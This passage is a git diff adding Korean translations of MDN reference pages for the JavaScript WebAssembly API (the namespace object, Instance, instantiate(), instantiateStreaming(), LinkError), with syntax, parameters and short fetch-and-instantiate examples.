+++ b/files/ko/web/javascript/reference/global_objects/webassembly/index.html
@@ -0,0 +1,100 @@
+---
+title: WebAssembly
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly</code></strong> 자바스크립트 객체는 모든 <a href="/ko/docs/WebAssembly">WebAssembly</a>에 관계된 기능의 네임스페이스로서 역할합니다.</p>
+
+<p>대부분의 전역객체와 다르게, <code>WebAssembly</code>는 생성자가 아닙니다 (함수 객체가 아닙니다). 비슷한 예로 수학적인 상수나 함수들을 담고있는 {{jsxref("Math")}} 객체나, 국제화 관련 생성자나 언어에 민감한 다른 함수들을 담고있는 {{jsxref("Intl")}} 등이 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WebAssembly</code> 객체의 기본적인 사용례는 다음과 같습니다:</p>
+
+<ul>
+ <li>{{jsxref("WebAssembly.instantiate()")}} 함수를 사용해서 웹어셈블리 코드 불러오기.</li>
+ <li>{{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}} 생성자로 새 메모리와 테이블 인스턴스 생성하기.</li>
+ <li>{{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}} 생성자로 웹어셈블리에서 발생하는 에러에 대한 처리장치 만들기.</li>
+</ul>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.instantiate()")}}</dt>
+ <dd>WebAssembly 코드를 컴파일하고 인스턴스화하여 <code>Module</code>과 첫 번째 <code>Instance</code>를 반환하는 기본 API입니다.</dd>
+ <dt>{{jsxref("WebAssembly.instantiateStreaming()")}}</dt>
+ <dd>스트리밍 된 원본 소스에서 직접 WebAssembly 모듈을 컴파일하고 인스턴스화하여 <code>Module</code>과 첫 번째 <code>Instance</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WebAssembly.compile()")}}</dt>
+ <dd>WebAssembly 바이너리 코드에서 {{jsxref("WebAssembly.Module")}}을 컴파일하여 인스턴스화를 별도의 단계로 남겨 둡니다.</dd>
+ <dt>{{jsxref("WebAssembly.compileStreaming()")}}</dt>
+ <dd>{{jsxref("WebAssembly.Module")}}을 스트림 된 원본 소스에서 직접 컴파일하여 인스턴스화를 별도의 단계로 남겨 둡니다.</dd>
+ <dt>{{jsxref("WebAssembly.validate()")}}</dt>
+ <dd>바이트가 유효한 WebAssembly 코드 (<code>true</code>)인지 아닌지 (<code>false</code>)를 반환하여 WebAssembly 바이너리 코드의 지정된 입력 된 배열을 확인합니다.</dd>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.Global()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Global</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Module()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Module</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Instance()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Instance</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Memory()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Memory</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Table()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Table</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>CompileError</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>LinkError</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>RuntimeError</code> object.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> 데모보기 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">라이브보기</a>)에서는 기본 소스에서 .wasm 모듈을 직접 스트리밍 한 다음 컴파일하고 인스턴스화합니다. 프로미스는 <code>ResultObject</code>로 충족됩니다. <code>instantiateStreaming()</code> 함수는 {{domxref ( "Response")}} 객체에 대한 promise를 받아들이므로 직접 {{domxref ( "WindowOrWorkerGlobalScope.fetch()")}} 호출에 전달할 수 있습니다.</p>
+
+<pre><code>var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</code></pre>
+
+<p>그런 다음 ResultObject의 인스턴스 구성에 액세스하고 그 안에 있는 <code>exported_func</code>을 호출합니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>초안 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.WebAssembly")}}</div>
+
+
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">웹어셈블리</a> 개요 페이지</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">웹어셈블리의 컨셉</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html
new file mode 100644
index 0000000000..3141c6809a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html
@@ -0,0 +1,74 @@
+---
+title: WebAssembly.Instance
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.Instance</code></strong> 개체는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">WebAssembly.Module</a>의 상태 저장되고 실행 가능한 인스턴스입니다. <code>Instance</code> 객체에는 JavaScript에서 WebAssembly 코드로 호출 할 수있는 모든 <a href="/ko/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>가 포함되어 있습니다.</p>
+
+<p>주어진 {{jsxref ( "WebAssembly.Module")}} 객체를 동기적으로 인스턴스화하기 위해 <code>WebAssembly.Instance()</code> 생성자 함수를 호출 할 수 있습니다. 하지만 <code>Instance</code>를 가져 오는 주요 방법은 비동기 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 함수를 사용하는 것입니다.</p>
+
+<h2 id="생성자_구문">생성자 구문</h2>
+
+<div class="warning">
+<p><strong>중요</strong>: 대형 모듈의 인스턴스화는 비용이 많이들 수 있으므로 개발자는 동기 인스턴스 생성이 절대적으로 필요한 경우에만 Instance () 생성자를 사용해야합니다. 비동기 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메서드를 사용하세요.</p>
+</div>
+
+<pre class="syntaxbox">var myInstance = new WebAssembly.Instance(<em>module</em>, <em>importObject</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>module</em></code></dt>
+ <dd>인스턴스화 할 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module" title="The Module() constructor of the WebAssembly global object creates a new Module object instance."><code>WebAssembly.Module</code></a> 객체입니다.</dd>
+ <dt><code><em>importObject</em></code> {{optional_inline}}</dt>
+ <dd>함수 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory" title="The Memory() constructor of the WebAssembly global object creates a new Memory object instance, which represents a WebAssembly memory. These can be thought of as resizeable array buffers, wrappers around WebAssembly memories."><code>WebAssembly.Memory</code></a>객체와 같이 새로 생성 된 인스턴스로 가져올 값을 포함하는 객체입니다. 선언 된 각 <code>module</code> 가져오기에 대해 일치하는 속성이 하나 있어야합니다. 그렇지 않으면 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError">WebAssembly.LinkError</a>가 발생합니다.</dd>
+</dl>
+
+<h2 id="Instance_인스턴스"><code>Instance</code> 인스턴스</h2>
+
+<p>모든 <code>Instance</code> 인스턴스는 <code>Instance()</code> 생성자의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype">prototype object</a>에서 상속받습니다.이 인스턴스를 수정하면 모든 <code>Instance</code> 인스턴스에 영향을 줍니다.</p>
+
+<h3 id="인스턴스_속성">인스턴스 속성</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype', 'Properties')}}</p>
+
+<h3 id="인스턴스_메서드">인스턴스 메서드</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype', 'Methods')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'Instance')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Instance")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html
new file mode 100644
index 0000000000..c7b250c090
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html
@@ -0,0 +1,168 @@
+---
+title: WebAssembly.instantiate()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.instantiate()</code></strong> 함수를 사용하면 WebAssembly 코드를 컴파일하고 인스턴스화 할 수 있습니다. 이 함수에는 두개의 overloads가 있습니다.</p>
+
+<ul>
+ <li>기본 오버로드는 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 {{jsxref ( "ArrayBuffer")}}의 형태로 WebAssembly 바이너리 코드를 취해 컴파일 및 인스턴스화를 한 번에 수행합니다. 반환 된 Promise는 컴파일 된 {{jsxref ( "WebAssembly.Module")}} 및 첫 번째 {{jsxref ( "WebAssembly.Instance")}}로 해석됩니다.</li>
+ <li>두번째 오버로드는 이미 컴파일 된 {{jsxref ( "WebAssembly.Module")}}을 취하여 해당 <code>Module</code>의 <code>Instance</code>로 해석되는 <code>Promise</code>을 반환합니다. 이 overload는 <code>Module</code>이 이미 컴파일된 경우 유용합니다.</li>
+</ul>
+
+<div class="warning">
+<p><strong>중요 : </strong><strong>이 방법은 wasm 모듈을 가져와 인스턴스화하는 가장 효율적인 방법은 아닙니다. 가능하다면 원시 바이트 코드에서 모듈을 모두 한 단계로 가져오고, 컴파일하고 인스턴스화하는 대신 최신 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메서드를 사용해야합니다. {{jsxref ( "ArrayBuffer")}} 로의 변환이 필요합니다.</strong></p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Primary_overload_—_taking_wasm_binary_code">Primary overload — taking wasm binary code</h3>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiate(bufferSource, importObject);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><em>bufferSource</em></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 {{jsxref("ArrayBuffer")}}입니다.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref ( "WebAssembly.Memory")}} 객체와 같이 새로 생성 된 <code>인스턴스</code>로 가져올 값을 포함하는 객체입니다. 컴파일 된 모듈의 각 선언 된 가져 오기에 대해 하나의 일치하는 속성이 있어야합니다. 그렇지 않으면 {{jsxref("WebAssembly.LinkError")}}가 발생합니다.</dd>
+</dl>
+
+<h4 id="Return_value">Return value</h4>
+
+<p>두개의 필드를 포함하는 <code>ResultObject</code>를 가진 <code>Promise</code>를 반환:</p>
+
+<ul>
+ <li><code>module</code>: 컴파일 된 WebAssembly 모듈을 나타내는 {{jsxref ( "WebAssembly.Module")}} 객체입니다. 이 <code>Module</code>은 {{domxref("Worker.postMessage", "postMessage()")}}를 통해 공유되거나 <a href="/en-US/docs/WebAssembly/Caching_modules">cached in IndexedDB</a>로 다시 인스턴스화 될 수 있습니다.</li>
+ <li><code>instance</code>: <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>을 포함하는 {{jsxref ( "WebAssembly.Instance")}} 객체입니다.</li>
+</ul>
+
+<h4 id="Exceptions">Exceptions</h4>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 reject됩니다.</li>
+</ul>
+
+<h3 id="Secondary_overload_—_taking_a_module_object_instance">Secondary overload — taking a module object instance</h3>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Instance&gt; WebAssembly.instantiate(module, importObject);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><em>module</em></dt>
+ <dd>{{jsxref ( "WebAssembly.Module")}} 객체가 인스턴스화됩니다.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref ( "WebAssembly.Memory")}} 객체와 같이 새로 생성 된 인스턴스로 가져올 값을 포함하는 객체입니다. 선언 된 각 <code>module</code> 가져 오기에 대해 일치하는 속성이 하나 있어야합니다. 그렇지 않으면 {{jsxref("WebAssembly.LinkError")}} 가 발생합니다.</dd>
+</dl>
+
+<h4 id="Return_value_2">Return value</h4>
+
+<p>A <code>Promise</code> that resolves to an {{jsxref("WebAssembly.Instance")}} object.</p>
+
+<h4 id="Exceptions_2">Exceptions</h4>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>If the operation fails, the promise rejects with a {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}}, or {{jsxref("WebAssembly.RuntimeError")}}, depending on the cause of the failure. <br>
+ 작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 reject됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p><strong>Note</strong>: 대부분의 경우 <code>instantiate()</code>보다 더 효율적이므로 {{jsxref ( "WebAssembly.instantiateStreaming ()")}}을 사용하는 것이 좋습니다.</p>
+
+<h3 id="First_overload_example">First overload example</h3>
+
+<p>fetch를 사용하여 일부 WebAssembly 바이트 코드를 가져온 후 우리는 {{jsxref ( "WebAssembly.instantiate ()")}} 함수를 사용하여 모듈을 컴파일하고 인스턴스화하여 해당 프로세스에서 JavaScript 함수를 WebAssembly 모듈로 가져옵니다. 그런 다음 <code>Instance</code>에서 <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>를 호출합니다.</p>
+
+<pre class="brush: js">var importObject = {
+ imports: {
+ imported_func: function(arg) {
+ console.log(arg);
+ }
+ }
+};
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =&gt;
+  result.instance.exports.exported_func()
+);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예제는 GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a>에서도 찾을 수 있습니다 (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/">라이브보기도 있음</a>).</p>
+</div>
+
+<h3 id="Second_overload_example">Second overload example</h3>
+
+<p>다음 예제는 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index-compile.html">index-compile.html</a> 데모 혹은 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/index-compile.html">라이브로 보기</a>). {{jsxref ( "WebAssembly.compileStreaming ()")}} 메서드를 사용하여 로드된 simple.wasm 바이트 코드를 컴파일 한 다음 {{domxref("Worker.postMessage", "postMessage()")}}를 사용하여 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a>에게 전달합니다.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<p>작업자 (<code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/wasm_worker.js">wasm_worker.js</a></code> 참조)에서 모듈이 사용할 가져 오기 객체를 정의한 다음 주 스레드에서 모듈을 수신 할 이벤트 핸들러를 설정합니다. 모듈을 받으면 {{jsxref ( "WebAssembly.instantiate ()")}} 메소드를 사용하여 인스턴스를 만들고 내부에서 내 보낸 함수를 호출합니다.</p>
+
+<pre class="brush: js">var importObject = {
+ imports: {
+ imported_func: function(arg) {
+ console.log(arg);
+ }
+ }
+};
+
+onmessage = function(e) {
+ console.log('module received from main thread');
+ var mod = e.data;
+
+ WebAssembly.instantiate(mod, importObject).then(function(instance) {
+ instance.exports.exported_func();
+ });
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblyinstantiate', 'instantiate()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiate")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html
new file mode 100644
index 0000000000..e1b2fde3b7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.instantiateStreaming()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.instantiateStreaming()</code></strong> 함수는 스트림 된 원본 소스에서 직접 WebAssembly 모듈을 컴파일하고 인스턴스화합니다. Wasm 코드를로드하는 가장 효율적이고 최적화 된 방법입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiateStreaming(<em>source</em>, <em>importObject</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>스트리밍, 컴파일 및 인스턴스화하려는 .wasm 모듈의 기본 소스를 나타내는 {{domxref ( "Response")}} 객체 또는 promise.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref("WebAssembly.Memory")}} 객체와 같이 새로 생성 된 <code>Instance</code>로 가져올 값을 포함하는 객체입니다. 컴파일 된 모듈의 각 선언 된 가져 오기에 대해 하나의 일치하는 속성이 있어야합니다. 그렇지 않으면 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError">WebAssembly.LinkError</a>가 발생합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>두 개의 필드를 포함하는 <code>ResultObject</code>로 해석되는 <code>Promise</code> :</p>
+
+<ul>
+ <li><code>module</code>: 컴파일 된 WebAssembly 모듈을 나타내는 {{jsxref ( "WebAssembly.Module")}} 객체입니다. 이 <code>Module</code>은 다시 인스턴스화되거나 <a href="/en-US/docs/Web/API/Worker/postMessage">postMessage()</a>를 통해 공유 될 수 있습니다.</li>
+ <li><code>instance</code>: <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>를 포함하는 {{jsxref ( "WebAssembly.Instance")}} 객체입니다.</li>
+</ul>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>작업작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 거부됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> 데모보기 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">view it live</a>)에서는 원본 소스에서 .wasm 모듈을 직접 스트리밍 한 다음 컴파일하고 인스턴스화합니다. 약속은 <code>ResultObject</code>로 충족됩니다.<code>instantiateStreaming()</code> 함수는 {{domxref("Response")}} 객체에 대한 promise를 받아들이므로 직접 {{domxref("WindowOrWorkerGlobalScope.fetch()")}} 호출을 전달할 수 있으며 응답을 수행하면 함수에 응답을 전달합니다.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</pre>
+
+<p>그런 다음 <code>ResultObject</code>의 인스턴스 구성원에 액세스하고 포함 된 내 보낸 함수를 호출합니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly Embedding', '#webassemblyinstantiatestreaming', 'instantiateStreaming()')}}</td>
+ <td>{{Spec2('WebAssembly Embedding')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiateStreaming")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html
new file mode 100644
index 0000000000..b9b5c3264c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/linkerror/index.html
@@ -0,0 +1,113 @@
+---
+title: WebAssembly.LinkError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError
+---
+<div>{{JSRef}}</div>
+
+<p>The <code><strong>WebAssembly.LinkError()</strong></code> constructor creates a new WebAssembly <code>LinkError</code> object, which indicates an error during module instantiation (besides <a href="http://webassembly.org/docs/semantics/#traps">traps</a> from the start function). </p>
+
+<p><code><strong>WebAssembly.LinkError()</strong></code> 생성자는 새 WebAssembly <code>LinkError</code> 객체를 만듭니다. 이 객체는 모듈 인스턴스화 중의 오류를 나타냅니다 (시작 함수의 <a href="http://webassembly.org/docs/semantics/#traps">traps</a>와 함께).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">new WebAssembly.LinkError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을 수 있는 오류 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>LinkError</code></em> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</p>
+
+<dl>
+ <dt><code>WebAssembly.LinkError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.LinkError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.LinkError.prototype.name")}}</dt>
+ <dd>에러 이름. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.LinkError.prototype.fileName")}}</dt>
+ <dd>해당 에러가 발생한 파일의 경로. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.LinkError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 행 번호. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.LinkError.prototype.columnNumber")}}</dt>
+ <dd>이 오류가 발생한 행의 열 번호입니다.. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.LinkError.prototype.stack")}}</dt>
+ <dd>스텍 추적. {{jsxref("Error")}}를 상속받습니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>LinkError</code></em> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.LinkError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 평가 될 수있는 코드를 반환합니다. {{jsxref("Error")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.LinkError.prototype.toString()")}}</dt>
+ <dd>지정된 Error 객체를 나타내는 문자열을 반환합니다. {{jsxref("Error")}}를 상속받습니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 snippet은 새 <code>LinkError</code> 인스턴스를 만들고 콘솔에 세부 정보를 기록합니다.</p>
+
+<pre class="brush: js">try {
+ throw new WebAssembly.LinkError('Hello', 'someFile', 10);
+} catch (e) {
+ console.log(e instanceof LinkError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "LinkError"
+ console.log(e.fileName); // "someFile"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
